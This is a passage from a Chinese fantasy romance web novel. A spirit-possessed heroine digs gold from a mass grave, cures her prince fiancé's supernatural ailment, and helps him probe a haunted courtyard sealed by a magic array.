“不可能啊。”虞淑玲抹着眼泪:“我相公生性温和,老实本分,待人接物谦逊有礼,说话都不大声,哪里会和人结怨。他洁身自好,更不会招惹什么女子。” 虽说死者为大,但这也太美化了。 靳朝言是不认识全修锦,对他的了解仅限于周围人的描述。 但是他看见了坐在一旁虞永福的表情。 虞永福露出一个轻视的表情。 但一闪而过,很快就恢复了正常。 靳朝言心里有数了。 有时候男人看男人,老丈人看女婿,比妻子看丈夫要更深一些。 毕竟男女之间可能会因为爱情冲昏了头脑,但老丈人天生对女婿是有意见的。 女儿眼里的丈夫,一点小毛病会被自动过滤。 但同样的毛病,在老丈人眼里,说不定就无限放大了。 靳朝言又问了一些事情,看了全修锦在家中的书房和卧室。 并没有什么发现。 离开虞府的时候,靳朝言低声说:“把虞永福喊出来,单独和他聊聊。” 诸元明白,转身又进去了。 此时,天已经有些昏暗了,皇城的大门,很快就要关了。 安槐换了一身灰扑扑的男装,架着马车停在城门口。 还有一刻钟,不管白寒铁来不来,她今晚势在必得。 第18章 折骨,无主的都是我的 好在安槐没等多久,白寒铁就来了。 他就不如安槐自在,虽然那么高大的一个人,一辈子也没看过什么坏事,莫名给人一种偷偷摸摸的感觉。 大概是他对今天晚上要做的事情心里实在没底。 直觉这不是什么好事,但为了钱,又不舍得放弃。 安槐看见白寒铁过来,十分满意。 她从马车上下来。 “会驾车吗?” “会。” “行,那走吧。” 马车出了城,天色越来越黑。 安槐也不坐在车厢里,这车厢 不大,几口箱子就塞得满满当当了。 再塞一个人也不是不行,但坐得不舒服,腿脚舒展不开,不如坐在车缘上舒服。 清风明月,真是个适合暴富的好夜晚。 白寒铁开始还有些忐忑,慢慢也冷静下来。 他想来想去,想来想去,虽然安槐是东家他是伙计,但不管怎么说,他也没道理比安槐还紧张。 白寒铁终于忍不住问出来。 “安小姐……” “说。“ “咱们今晚……到底要挖什么?” “挖好东西,值钱的东西,没有主的东西。” 白寒铁想着三石坡的传说,心里咯噔了一下。 “什么是……没有主的东西?” “挖了塞进自己怀里,没人跳起来找你讨要的东西,就是没有主的东西。” 听起来挺合理的,再是细细想想,这对吗? 挖坟,坟里死人也不会跳出来,这算有主还是没主? 白寒铁有种想要大喊一声,我不去了,钱我不要了的冲动。 但是摸了摸怀里的银子。 想了想生病的老娘。 有点不甘心。 老话说得对,富贵险中求。 安槐一个大姑娘都不怕,他怂什么? 真要是乱葬岗里诈了尸,难道安槐还能跑得比他快? 马车就这么吱呀吱呀到了三石坡。 三更半夜,三石坡一个鬼影都没有。 白寒铁跳下马车的时候,腿稍微有点抖。 “安小姐,咱们,咱们现在干什么?” 安槐有备而来,已经准备好了工具。 她从车厢里拿了一把铁锹出来,丢给白寒铁。 任何往前走了两步,指着脚下:“挖。” 白寒铁听话。 他收了一百两银子,今天晚上就是一台没得表情的挖掘机器。 白寒铁力气大,三石坡虽然叫三石坡,但并不全是石头,土也不板结。 一铁锹下去,就是一块土,被甩在一边。 他哐哐哐地挖着。 挖了十几下,感觉铁锹碰到了什么东西。 好奇地蹲下去一看。 土里隐约有几个硬邦邦的东西。 但刚才那触感又不像是石头。 他捡起一个硬疙瘩,用手擦了擦表面的土看。 这一看,惊呆了。 这是块金子。 “安,安小姐……” 白寒铁愕然:“真的有金子啊。” 自从他开始挖,安槐就开始走来走去的,也不知道在干什么。 此时他一回头,就看见安槐从马车走过来。 肩膀上看着一只……木头箱子。 就算是个空箱子,分量也不轻。 白寒铁连忙起身要去接,但是安槐说:“不用,你接着挖。” 安槐将箱子扛到白寒铁身边,打开。 里面自然是空的。 然后白寒铁继续挖,安槐开始捡。 两人就像是在地里刨食的老农一样,一个挖,一个捡,捡了就往箱子里扔。 也不擦土,就咚咚咚地往箱子里丢。 荒野里的声音特别清脆,那是金钱落地的声音。 白寒铁开始还有些不安。 “安小姐,咱们这样……好吗?” “放心吧。”安槐笃定地说:“都是几百年没人要的东西,无主的。” 她确定。 这一片乱葬岗,可不仅仅是买不起棺椁的穷苦人埋葬。 还有各种各样来历,各种各样身份的。 积少成多。 几百年间,这地下也埋了不少值钱的东西。 槐树看着就那么大的树荫,其实根系在地下四通八达。 她被包裹在树根中几百年,能感知到每一条根系的周遭。 白寒铁半信半疑地看着安槐,安槐又给他塞了一块金子。 “别想那么多有的没的,想不想把你娘的病治好?” 白寒铁狠狠点头。 “想。” “那就别废话,挖!” 安槐找地方,白寒铁挖。 然后安槐从土里往外掏东西。 因为定点定的特别准,所以挖起来也不多费力。 不仅仅有金块,还有银块,还有珠宝,甚至还有字画。 但是金银珠宝这些东西虽然脏了点,但保存住了。字画之类的,大多已经腐烂得不成样子,没有什么价值了。 一个箱子装满,就搬回马车上,换一个空箱子来。 两个人开始还聊几句,后来连话都不说了,埋头就是挖。 天蒙蒙亮的时候,三个箱子都满了。 安槐看了一下,也差不多了。 白寒铁脱力一般躺在地上。 好累。 但是好兴奋。 就算这些东西不是他的,也好兴奋。 安槐是个有福同享的人,见白寒铁累得不行,又丢了几个金元宝在他怀里。 白寒铁满血复活了。 他用袖子擦了擦金元宝,然后好奇地问:“白小姐,你怎么就那么相信我呢?这么多钱啊,这荒郊野外只有我们两个,你就不怕我害了你,抢了钱跑了?” 安槐笑了一下。 捡起丢在地上的铁锹。 铁锹是木柄的,挺粗的光滑的木棍。 安槐一手握住木柄一边。 一用力。 木棍断了。 白寒铁目瞪口呆。 他觉得自己力气已经够大了,但是徒手不借外力掰断铁锹手柄,他也不一定能做到。 而且还是累了一个晚上的情况下。 安槐就跟什么事儿都没有一样。 “怎么样?现在还想害死我,拿着钱跑吗?” 白寒铁把头摇得跟拨浪鼓似的。 “别想那些有的没的。”安槐说:“嘴上严实点,以后有好事儿我还找你。” 不会带团队,自己要累死。 总是要帮手的。 白寒铁激动的连连点头。 今天晚上,安槐除了说好的一百两银子,又给了他几块黄金,他已经非常知足了。 让白寒铁休息了一会儿,驾车回城。 安槐路上就在想,这些钱要放在哪里呢? 永安侯府是不能放的,那一家子心眼太多。 她又不能守着,万一被偷了,被发现,还要想办法遮掩。 随便租个地方也不合适。 想来想去,安槐下了决定。 第19章 折骨,一巴掌,眼神瞬间清澈 既然这笔钱是她的嫁妆,三天之后就会跟其他嫁妆一起送去三皇子府邸。 那何必转来转去的。 她现在直接送去三皇子府不就好了? 靳朝言的人品看起来还是不错的,一个皇子,应该不会眼皮子那么浅,要占她这点便宜吧? 安槐这么一想,觉得很对。 进了城后,她就让白寒铁回去了。 白寒铁一夜未归,惦记自己母亲,再三问了安槐确实没事儿再让他做,便匆匆走了。 安槐驾车到了靳朝言府邸。 她现在还是一身男装,昨晚又在乱葬岗挖了一夜土,就算没有在泥里打滚,身上的衣服也有点破破烂烂的感觉。 安槐用袖子擦了擦脸,也没好到哪里去,索性不管了。 马车在王府门口停下。 王府门口有侍卫站岗。 安槐跳下马车,走了过去。 “什么人?” “这位大哥。”安槐说:“小的是三皇子殿下不日要过门的未婚妻,安家大小姐的人。马车上的东西,是安小姐要放在王府的。请前去通传一声。” 侍卫一听。 虽然靳朝言婚事办得仓促着急,但并不是静悄悄,偷偷摸摸的。 王府里已经披红挂彩地装扮起来了,宫里的各种赏赐也流水一样进来,侍卫当然知道,王爷要成婚了。 于是他也不敢怠慢:“你稍等,我这就进去禀告。” 安槐应了,侯在一旁。 没一会儿就有人出来了。 安槐一看,是诸元。 “是安小姐让你送东西过来?” 他没认出安槐来。 “是我。” 这声音一出,诸元顿时就惊悚了。 “安大小姐?”诸元不可置信:“您这是……这是……” 一身灰扑扑小厮的衣服也就罢了,还一身的灰和泥,就好像挖了一夜土回来一样。 “嘘。” 安槐做了个噤声的手势:“别叫人听见了,给你们王爷丢人。” 诸元连连点头。 点了两下觉得不太好。 安槐可以这么说,但他作为王府的下人,怎么能说未来王妃丢人呢? 虽然现在她的模样确实有点磕碜,但说不定看在王爷眼里,那是真性情呢? 诸元定了定神:“请随我来。” 他将马车引到侧门口,开了门,将马车放进去。 进了王府,这才敢大声说话。 “安小姐,您这是从哪儿来啊……是遇到什么事情了吗?” 安槐叹了口气。 “我在侯府的境地,你也是知道的,实在不太好。这几箱是我早些年机缘巧合得的一些财物,我想着放在放在旁处都不安全,倒不如送来三皇子府上,请殿下找个地方替我收着。” 诸元一听,原来是这样。 十分有理。 “安小姐您来得不巧,王爷不在府里。这两日王爷为了几桩案子忙得很,昨夜一夜未归,属下也是回府取些物品的,立刻就要再赶过去。” 安槐闻到诸元身上,有淡淡药味。 “你受伤了?怎么有这么重的药味?” 受伤还这么拼? 要不要她帮帮忙? 诸元可是靳朝言的心腹,可以拉拢拉拢关系。 要知道阎王好见小鬼难缠,安槐可不是进王府和谁钩心斗角的。 “属下的没有受伤。”诸元说:“是王爷的药。” “王爷受伤了?” “没,没有受伤。” 诸元有些含糊,似乎是有难言之隐。 安槐心思一动,明白了。 “可是王爷的旧疾又发作了?” 诸元只能点了点头。 靳朝言的旧疾也不是什么秘密。 “我也懂一些医术,你把药拿给我看看。” 诸元一听,连忙将药递了过去。 是个瓷瓶,里面是一颗一颗的药丸。 安槐装模作样地闻了闻。 其实她哪懂什么医术,但是她知道肯定不对症。 因为靳朝言那所谓的旧疾根本就不是疾病,他那是被恶魂缠身,无论什么药都没用。 都是治标不治本。 安槐笃定地说:“这药不行,没用。” 诸元一脸的苦涩。 “安大小姐,您也不是外人,属下跟您说实话。” “其实我们也觉得不对症,至少不能治本。但是没办法,王爷经常发心悸,心痛难忍。这药是太医院配的,能减缓病痛,提神养气。” 安槐在药里闻到了人参的味道,这大概是浓缩的十全大补丹一类。 就是单纯地补,往死里补。 什么人参,鹿茸,灵芝都来点,怎么滋补怎么来。 一时是有效果的,但是时间长了,只会适得其反。 安槐略一沉思。 “这药不能再给三皇子吃了,这样,我跟你过去看看,这病我能治。” “真的?”诸元半信不信。 “我骗你做什么,三皇子对你重要,对我难道不重要吗?”安槐将药塞回诸元手里:“你找个地方把这几箱东西帮我收好,然后我们就走。” 安槐主动为靳朝言着想,诸元十分高兴。 他立刻叫了人过来,两人一箱,抬起安槐带来的箱子。 安槐想得还挺周到,箱子上竟然还贴了封条。 说她不信任,她没过门就将自己压箱底的钱送来了。 说她信任,箱子不但有锁,还有封条。 诸元心里嘀嘀咕咕的。 但都没有表现出来。 安槐进府,是有自己的院子的。 也有自己的库房。 诸元直接让人将箱子送进库房,将房间钥匙交给了安槐。 安槐大大方方接了钥匙:“我们快走吧,别让殿下等急了。对了,殿下在什么地方?” “在城外的一处庄子里。”诸元说:“安小姐可会骑马?” “会。” 别说骑马,骑驴骑狗骑老虎,都可以。 诸元吩咐人又牵了一匹马过来。 这马也很威风。 看见安槐靠近还有些不乐意,又是撅蹄子又是摇头。 好马都是有脾气的。 可王府也没有温顺的小马啊。 给诸元一个胆子,他也不敢骑马带着安槐赶路。 就在他要担心的时候,就看见安槐抬起手来,一巴掌拍在马的那张长脸上。 啪的一声清脆作响。 听着都痛。 他心里一抖。 生怕马发癫起来。 奇怪的是,他仿佛看见马也一抖。 然后,感觉马的眼神都清澈起来。 也不撅蹄子了,也不甩脑袋了。 好像突然又老实又怂。 “走吧。”安槐牵起缰绳:“这马挺听话,应该好骑。” 第20章 折骨,怎么治本 诸元看看王妃看看马,总觉得哪里怪怪的。 但是又说不出来。 安槐已经牵着马出去了,走了两步回头催他。 诸元连忙跟上。 安槐的马术确实很好,马儿也很乖,诸元开始还有些担心,不一会儿就佩服得紧。 京城中的千金小姐,会骑马的很多,这也算是项上等高雅的活动。 但正经骑得好,能长途跋涉的可不多。 诸元带路,直奔城外。 城外有大大小小的村子,村子里有大大小小的庄子。 靳朝言就带人在其中一个庄子。 诸元介绍说:“安小姐,您看前面那庄子,那是王府的产业,昨日查案在此处,时间晚了,所以就宿在了庄子里。” 皇子都是有俸禄的,大燕富庶,皇子的俸禄也不少。 靳朝言这样成年的皇子,一年有白银五千两,米五千石。 但少有皇子是靠俸禄过日子的,根据得宠的程度,名下庄子,田地,商铺,孝敬,等等远多于俸禄。 靳朝言身体不适,正躺在床上休息,等着诸元拿药。 他身上虽然盖着厚厚的被子,八月的天,屋子里虽然生了炭火,却还是觉得遍体生寒。 视线不清,眼前不时有黑色阴影。 “杭玉堂。” “是。” 守在一旁担心不已的杭玉堂连忙凑过来。 “殿下,您可要喝口热水?” “嗯。” 杭玉堂倒了杯热水,小心送到床边。 靳朝言支起身来,接过水杯。 喝了一口。 水是冒着热气的,但是进了口,却瞬间失了温度。 杭玉堂在这房间里热出了一身汗,可不小心碰着靳朝言的手,却觉得像是碰到了冰块。 殿下这怪病,越来越严重了。 杭玉堂心里担心忧虑,面上却半点也不敢露出异样。 “殿下,您再休息一会儿。诸元应该就快回来了。” 靳朝言让杭玉堂拿了枕头,靠在床头,闭眼沉思。 杭玉堂放下茶杯,又拿了个手炉。 虽然外界的暖不能改变靳朝言的寒冷,但总舒服一些。 “殿下,您拿着手炉,暖暖手。” 靳朝言接了过去。 然后杭玉堂咦了一声。 “怎么了?” 靳朝言抬眼看他。 杭玉堂有些疑惑:“殿下,您……还冷吗?” 这是什么意思? 杭玉堂伸手又碰了一下靳朝言的右手,面上露出惊喜。 “殿下,您身上没有这么冷了。您的手,比刚才暖和了一点。” 杭玉堂那惊喜的反应不可能是说谎,靳朝言也带些期盼地伸出另一只手。 但是杭玉堂一摸。 不对,这只手还是冰冷的。 杭玉堂索性将两只手分别放在靳朝言的两只手上。 “奇怪了。一只暖和,一只冷。” 两只手的温度竟然不一样。 杭玉堂又往靳朝言的手腕,胳膊上摸了一下。 越往上,越冷。 “为何会这样……”杭玉堂喃喃:“殿下,要不咱们还是立刻回京去找太医吧。” 他有种不祥的预感。 靳朝言正要说话,外面传来诸元的声音。 “殿下。” “进。” 诸元推门进来,身后还跟这个人。 靳朝言这怪病虽然不是什么秘密,但也不愿被人指指点点,每次发病,都是诸元和杭玉堂贴身伺候,不假手旁人。 安槐从诸元身后走出来。 靳朝言也意外了一下。 “安小姐?” “你怎么来了?” “你……怎么穿成这样?” 这一刻,靳朝言脑袋转的脑浆都要出来了。 “可是永安侯府出什么事了?” 他唯一能想到的,也只有这个了。 “没有。” 安槐又用糊弄诸元的说辞,糊弄了靳朝言一遍。 半真半假,基本天衣无缝。 她走到窗边,看着靳朝言。 难怪靳朝言病倒了。 他若非是一身煞气,自身命格极强悍硬朗,现在就不是病倒,早就已经疯魔成狂了。 到时候,身体看起来与常人无异。 但是灵魂被无数冤魂野鬼侵蚀撕裂,不但会痛苦万分,而且可能死后成煞。 诸元忙道:“殿下,安小姐闻了太医给您配的药,立刻就知药不对症。她说,她有办法治此怪病。” 诸元这话一出,靳朝言看安槐的眼神都不对了。 “安小姐,会医术?” “不算会,但恰好会治殿下的病。” 还不如不解释。 但安槐已经开始赶人了。 “你们先出去吧。”安槐赶诸元和杭玉堂:“我给殿下治病,不能有外人在。” 阴森怨气太重,对活人有损。 两个手下你看看我,我看看你,都有点纠结。 总觉得有妖怪要害自家主子。 靳朝言说:“你们都出去。” 两人这才不情不愿地走了出去。 特别是诸元,叮嘱了一句。 “殿下,您有什么不舒服,就喊属下。” 也不知怎么的,他莫名就想到挨了一巴掌,那匹眼神都清澈了的马。 未来的皇妃,不娇弱啊。 万一趁主子病,要主子命怎么办? 两人离开,关上门。 安槐挽了袖子走到床边坐下。 “殿下,给我右手。” 就是刚才暖和的那只手。 靳朝言还以为安槐要给他把脉。 可是安槐两手握住了靳朝言的右手手腕。 顺着手背,手腕,手臂,给靳朝言按摩。 开始还没觉得,按了几下之后,靳朝言突然觉得,身体里的冰冷气息好像在往外跑。 身体在渐渐回暖。 他惊讶的看着安槐。 安槐按的很认真。 也很开心。 靳朝言看不见,他手腕上本来只是缠绕了一圈藤蔓,现在,那些藤蔓抽出枝条来,一路攀缠绕上手臂,肩膀。 不过再不往前了。 他身体里的黑气,顺着藤蔓游走,被吸进了安槐的手心,然后消失不见。 就这么按了一刻钟的时间。 靳朝言心痛寒凉的感觉慢慢消失。 安槐放开手。 靳朝言惊喜的捏了捏自己的胳膊。 “竟然真的好了。” 他突然觉得,冲喜这件事情,好像有点靠谱。 “好了吧。”安槐得意:“殿下,我不诓你。不过今天只是治标,等我们成婚之后,才能治本。” 靳朝言这一下脑子有点堵,脱口而出:“怎么治本?” 安槐咳了两声,害羞低头。 懂了吗? 就是这么治本。 第21章 折骨,人到病除 靳朝言瞬间就懂了。 他刚才一直盯着安槐给他按摩,觉得也没有什么特殊的手法,也没有用药物,没有银针金针之类。 看起来很简单。 本来还想问问她,能不能教给诸元和杭玉堂,以后由他们负责给自己按摩。 但一听安槐说。 成亲之后才能治本,就不好问了。 那可能是治疗方法过于亲密。 他们还没成婚,即便是有婚约在身,也要恪守礼仪。 好在,距离婚期只剩下两天。 这些年都熬过来的,不着急这一时。 但靳朝言心中愧疚油然而生。 他轻咳了一声。 “安小姐。” “嗯?” “你嫁与我,委屈你了。” “我驾驭你,委屈了?” 安槐一想不委屈啊,一点儿都不委屈。 驾驭你,挺有成就感。 “大家都知道,你嫁给我是冲喜的。若我身体能好起来,自不会负你。但万一……” “没有万一。”安槐伸手放在靳朝言嘴上:“我一定能治好殿下的怪病,我保证,不出一年,让殿下的身体恢复如初,龙精虎猛,威武雄壮。” 靳朝言的脸都有点红了。 他这些年都在军中,都是和糙汉子打交道,几乎没有接触过青春少女。 虽然安槐现在穿着一身破烂,身上也没有香香的,但是她出门前洗了手,手上是香香的。 让靳朝言有些迷糊。 安槐话风一转。 “殿下知道,我在永安侯府的日子不好过。如果没有和殿下的婚事,要么,我会一直在庄子里,要么,会被当做筹码,随便嫁给什么人。” “所以,嫁给殿下对我来说是极好的。” “哪怕我们日后走不到天长地久,我也可以顺利离开侯府,总不是坏事。” 担心什么天长地久? 我可以休弃,也可以合离,还可以丧夫,更可以活不见人,死不见识。 靳朝言沉吟许久,点了点头。 “也罢,本王承诺你,若是我的病回天乏术,也定会给你安排好这一生。” 安槐更满意了。 她看了太多无情无义的人,就格外觉得有情有义难得。 人心易变,别看将来。 这一刻是真的,这一刻就是真的。 诸元和杭玉堂提心吊胆的在门口等着。 不时的往后看看,担心房间里传来什么恐怖的声音。 等了有一会儿,门被打开了。 只见靳朝言先出来了,然后关上了门。 安槐没出来。 两人打量靳朝言,十分惊喜。 “殿下,您的身体没事了……真的没事了?” 靳朝言微微颔首:“已经无碍。” 两人都是大喜。 往常犯病的这么厉害,没有两日都缓不过来。 今天才多长时间? 半个时辰都没有,竟然全好了? 安槐简直是神仙一般的存在啊。 本来两人对安槐这个未来王妃多多少少也是有一点意见的,现在不但没有意见,反而十分期待了。 说不定安槐不是瞎说,是真能治好靳朝言的病。 正说着,有侍卫从外面进来。 “殿下。”侍卫说:“有消息了,在长庆村里,有一处叫做万贤山庄的庄子,情况有异。” 靳朝言立刻说:“备马,去看看。” “看什么?” 门又开了,安槐走了出来。 她换了一身衣服。 昨夜挖了一夜的土,一身衣服都破破烂烂了。 虽然现在不方便洗漱,但也不想继续破破烂烂。 刚才跟靳朝言聊完,安槐就提出,能不能找一身衣服给她换。 这么大的庄子,就算靳朝言这庄子不是用来藏娇的,丫鬟总有一个吧。 没想到靳朝言说:“庄子里没有女眷的衣服,你要是不嫌弃,可以换我的。” 房间一侧有衣柜。 安槐过去打开一看。 得,凑合穿吧。 只是靳朝言的衣服给安槐穿,确实有些大了。 安槐已经问了,靳朝言来这庄子上,是来查案的。 昨天晚上,靳朝言将最后一名死者,长春堂掌柜全修锦的岳父约了出来,聊了一聊。 得到一个消息。 全修锦的岳父怀疑,全修锦在外面有情况。 但是具体地问也问不出什么证据,这是男人的直觉。 他也查了几次,但是尚未查出什么证据。 靳朝言能动用的力量就太多了。 他立刻又审了一遍全修锦熟悉的人。 虽然没查出全修锦有什么偷情的证据,但确实有了一个新的线索。 全修锦每个月会秘密出城几回。 一个人,不带仆从下人,说是出去收购药材。 但有两回。 回来的时候,小厮闻着他身上有脂粉的味道。 小厮当然什么都不会说,也不敢说。 全修锦的夫人不懂生意也不懂医术,日常在家中相夫教子,大门不出二门不迈,几乎不来药铺。 而因为药铺里难免染上一身药味,全修锦经常会沐浴更衣后,清爽回家。 什么味道也不会带回家中。 这一片就是全修锦常来收药的地方,若是他在外面有猫腻,应该就在这一片。 安槐既然不是外人,靳朝言也没有相瞒,将查到的情况一一说了。 安槐一边卷袖子一边说:“我闲着也是闲着,跟你一起吧。万一你身体有什么不适,也好及时给你治疗。” 其实是这案子邪乎,她有些担心。 翻墙骑马无所不能,靳朝言也没将安槐当做娇弱小姐,想要把她关在屋里。 诸元看向从屋子里出来的安槐,总觉得有哪里不对。 怎么说呢? 今天早上,她出现在三皇子府的时候,虽然谈不上虚弱憔悴,但现在确实有些容光焕发了。 给人治病,不应该是劳心耗力吗? 怎么反倒是一副被滋养了的样子。 诸元不敢说。 靳朝言带着一行人出了庄子,直奔万贤山庄。 京城城外,有很多庄子。 大部分都是京中官员商贾所有,庄子里有庄头,负责安排人种粮种种菜,养鸡养鸭,每年到头,送去收成孝敬。 路上,手下说了一下这万贤山庄的情况。 “这庄子和旁的庄子不同,不种粮食,也没顾人干活儿,听周围的村民说,日常关着门,只有一个婆子进出。” “庄子的主人有钱,隔两日就有人送米面粮油,菜蔬一类进去。” “庄子里,经常有香味传出来。” 靳朝言道:“什么香味?” 手下补充:“殿下,不是香臭的香,是焚香的香。就像是寺庙里的香火味道。” 第22章 折骨,八角困灵阵 吃斋礼佛的人很多,不吃斋礼佛的人也很多。 但一个庄户院子不种粮食不养鸡鸭,就很奇怪。 好像是关着什么人似的。 靳朝言吩咐手下:“去户部查一下这院子的交易备案,是在谁的名下。” 手下立刻去了。 但当然不是在这傻等着。 只要这个院子有古怪,不管这个院子是在谁的名下,靳朝言都能进去查。 京城里,除了后宫,他没有不敢去的地方。 到了万贤山庄门口,靳朝言一看,门口一把锁。 也就是说,里面没人。 “开锁。” 说完,杭玉堂一抽刀。 一道亮光闪过,啪的一声,锁被斩断,落在了地上。 诸元推开了门。 突然一阵风吹过,天色阴沉了起来。 现在是半下午,今天不说烈日当头吧,天气也是十分不错的,太阳明晃晃地照着。 可此刻,也不知哪里来了一片乌云。 阳光顿时就被遮住了。 气温一下子降了不少,乌云朵朵,天骤然阴沉下来,风云搅动。 诸元抬头看了看,奇道:“这也不是六月啊,怎么天说变就变,不回下雨吧……” 杭玉堂从马上拿下一件披风。 “殿下,您披件衣服,别着凉了。” 安槐不由在心里感叹。 靳朝言这俩手下也不容易。 不但要跟着他冲锋陷阵,还要像老妈子一样照顾身体。 靳朝言也不矫情,披上了披风。 然后一行人走了进去。 这庄户院子还不小。 进去是一个空荡荡的院子。 再往里走,又是一个院子,院子里还是空荡荡的。 但有一扇关着的木门。 木门上也是一把锁。 锁上很干净,没有什么灰尘,可见这庄户院子的主人离开的时间不长。 这一点周围的农户也可以证明,前几天还看着婆子出来过。 靳朝言说:“打开。” 杭玉堂又是一刀。 有一把锁壮烈牺牲。 然后杭玉堂推开门……不,他没推开门。 杭玉堂有些奇怪。 他也是习武之人,不说力拔山兮吧,一扇木门能推不开。 他又推了一下。 刚才仿佛有千斤重的门,又好像突然一点重量都没有。 他因为蓄了力,用力一推,门突然就开了,让他猝不及防冲了过去。 差点扑在地上。 幸亏诸元在后面一把拽住了他的腰带。 不然就在安槐面前丢人了。 不过安槐此时没注意他,别人也没空注意他。 这院子有些古怪。 不像是一个活人住着的院子。 虽然说现在乌云密布,天已经阴沉了下来,可也没有阴雨连绵,这院子里却不知哪里来的茫茫雾气。 雾气中,隐约可以看见院子里,有水井,有假山,有枯树。 但都干干净净。 一阵风吹来,空气中飘来一阵说不出的味道。 杭玉堂吸了吸鼻子:“这是什么味道,有点腥?” 难道是院子里的人临出门的时候,杀了头猪? 安槐也吸了口气。 还在空气中抓了一把。 “这是香灰,腐木加血的味道,腥甜的味道。” 这地方就怪阴森的,被安槐这么一说,更阴森了。 靳朝言沉声道:“进去看看。” 他本不信怪力乱神,但最近这几起凶案,死者死的都很蹊跷,让他心里不得不有几分猜疑。 安槐一把抓住了靳朝言的袖子。 “我先。” 众人一起回头看她。 安槐却没看他们,目光扫向院子。 “这地方不对劲。”安槐说:“我懂一些风水。” 众人更意外了。 靳朝言也不由的道:“你还懂风水?” “嗯,在乡下的时候,村里来过一位风水先生,他当时受了伤,我悄悄给他送了几天饭。他为了报答我,教了我一些。” 安槐现在觉得,在乡下长大这个理由真的很好用。 如果她是在永安侯府长大的,身边时刻都跟着丫鬟,想说自己天天溜出去都不方便。 乡下没人管,就没那么多忌讳了。 靳朝言果然没有怀疑,只是说:“只是教了一些,你不要勉强。” “不勉强,这个院子里有个阵,恰好,这个阵师父跟我说过。” 师父都叫上了。 诸元好奇还嘴快:“安小姐,这是什么阵?” “这叫八角困灵阵。” 众人闻所未闻。 但就在阵法被叫破的一瞬间,啪的一声响,院子的门突然被一阵风吹着关上了。 院子里的温度,好像又降了一些。 现在天热,大家都穿着单衣。 被这风一吹,只觉得阴气森森。 有些事情,宁可信其有,不可信其无。 这里除了安槐,谁都是不信鬼神的,但谁都没有说出来。 诸元更是扯了扯衣服。 这雨要下不下的,真让人有点心里发毛。 还是靳朝言镇定。 “你既然知道这阵的名字,应该是有所了解。” “了解一些。” 风水师父是有的,师父也是有的,不过不是在什么农户庄子里,是在三石坡下。 那里埋着的风水师父何止一个。 三百年了,闲着也是闲着,什么不都得学点。 靳朝言一针见血:“这阵是做什么的?” “阳气不入,阴魂不出。” 安槐突然伸手,好像抓住了个什么东西。 但是众人睁大了眼睛,却什么也看不见。 安槐将那看不见的东西用手一捏,随手丢弃。 “这八角困灵阵是聚阴困魂之地,可以将死者魂魄永久镇压,磨灭灵识,永无轮回。全阵没有生门,生魂困在此处,时间一长,就会被撕扯消散。” 安槐说这话的时候面无表情,非常严肃。 诸元等人听得脸色都不太好。 “殿下,此处凶险,您是千金之躯,不可犯险,属下护您立刻离开。” 说着,杭玉堂已经转身掠向大门。 大门紧闭。 杭玉堂到了大门口,二话不说抽出刀来,想要一刀将门劈开。 可看着摇摇欲坠的木门此刻却异常牢固。 刀砍在门上,发出金属碰撞的声音。 众人甚至看见火花溅出。 但那木门纹丝不动。 不但没有被劈开,连一个印子都没留下。 这很不对。 众人都变了脸色。 院子围墙不过一人多高,杭玉堂又纵身而起。 这里除了安槐都会武功,都是高手,就是开不了门,也可以轻松离开才对。 第23章 折骨,召唤童子身 但这一次就像是中了邪一样。 杭玉堂刚跳到半空,就往下一沉,又落在地上。 众人看得分明,他的身形是猛的一顿,就好像有个看不见的人在底下拽住了他的腿,把他硬拽下来一样。 再不信鬼神,这下众人也都有点慌了。 杭玉堂的脸也有点白了。 又有人试了一下,也是如此。 这个宅子就像是有一个无形的盖子,进来的,都出不去。 “果真邪门。”靳朝言皱眉道:“看来全修锦的死,和这宅子脱不了关系。” 这个时候了,还在想案子呢? 安槐觉得靳朝言也是个心大的。 还是诸元机灵,他立刻恭恭敬敬地问:“这阵,您能破吗?” “能。”安槐一点儿也不摆架子:“放心吧。” 她一边说,一边低头在包里翻找。 安槐有个随身带着的小包,平日就斜背在腰间。 里面放着些常用的东西。 众人都充满期待地看着她,希望她能从里面掏出什么厉害的法器。 比如说……一把桃木剑什么的。 但是很遗憾。 安槐在里面掏啊掏啊的,掏出几片叶子。 众人面面相觑,不明白这是什么意思。 安槐数了数,给一人发了片叶子。 一群大男人呆呆的伸出手。 安槐在他们手上,一人放了一片叶子。 诸元猜测:“安小姐,这叶子……是吃的吗?是不是可以解毒的?” “不是吃的。”安槐说:“捏一下。” 诸元用两根手指捏了一下。 叶子消失了。 他愣了一下,翻过手来看。 掌心出现了一个叶子的图案,就像是个刺青。 诸元有点奇怪地尝试摸了一下,没有感觉。 又加大力气搓了搓,还是没有感觉。 不痛不痒,但是也擦不掉。 “真是神奇啊。”诸元忍不住感慨:“安小姐,这是什么?” “这是我的护身符,半个时辰内可以护住你的魂魄不受阵法侵扰。” “那半个时辰候呢?” 安槐抬头看了看黑云翻滚的天。 “如果我们半个时辰都不能离开这院子,那可能就再也出不去了。” 这话一出,让气氛更紧张了。 不过靳朝言奇怪的是。 “我怎么没有?” 刚才安槐让大家伸出手来,他明明也伸出手了。 但是安槐却跳过了他。 “殿下不用。” 靳朝言偏偏要刨根问底。 安槐只好说:“殿下是我的人,不一样。” 手下纷纷撇开视线。 还以为安槐要说什么,靳朝言是皇子,有真龙血脉之类的呢,没想到那么腻。 啧啧啧,未婚夫妻的腻歪真是没眼看。 靳朝言虽然不明白安槐的人有什么不一样,但她都这么说了,也不好意思再追问。 这么多人呢,又不是洞房花烛,难道还非要逼人家大姑娘说出我稀罕你这样的话来吗? 安槐也转移了话题。 “走吧,进去看看。” 进门的时候,安槐是跟在后面的,现在队形发生了变化,安槐走在了最前面。 院子里铺的是青砖地面,看起来干干净净的,连片树叶都没有,也不知道为什么,踩上去后,却一步比一步滑。 而且透骨冰冷。 走到院子中间,安槐四下一看。 院子里一间正屋,两间偏房。 左前方有一口井,过去一看,是枯井,里面没有水。 右前方有一棵枯木,时间久远枯得厉害,没有叶子也分不出是什么树。 后面一侧是一座假山。 另一侧,是个秋千。秋千上缠绕着枯藤。 安槐走到正屋前,推了一下。 没推开。 好像是从里面拴住了。 诸元自告奋勇:“安小姐,让我来把门劈开。” 安槐虽然退了一步让出位置,但还是说:“你劈不开的。” 管他行不行,诸元劈了一刀。 果然和院门的情况一下。 安槐说:“要先将院子内的阵眼破了,才能进门。” 靳朝言问:“怎么破?” “嗯……”安槐手指晃了一下:“你们,谁是童子身?” 这一问?几个侍卫都有点不好意思了。 低头的低头,挠鼻子的挠鼻子。 这多害羞啊。 一个大姑娘,问他们这个问题。 安槐其实没那么容易害羞,她这千年的老妖怪,什么没见过。 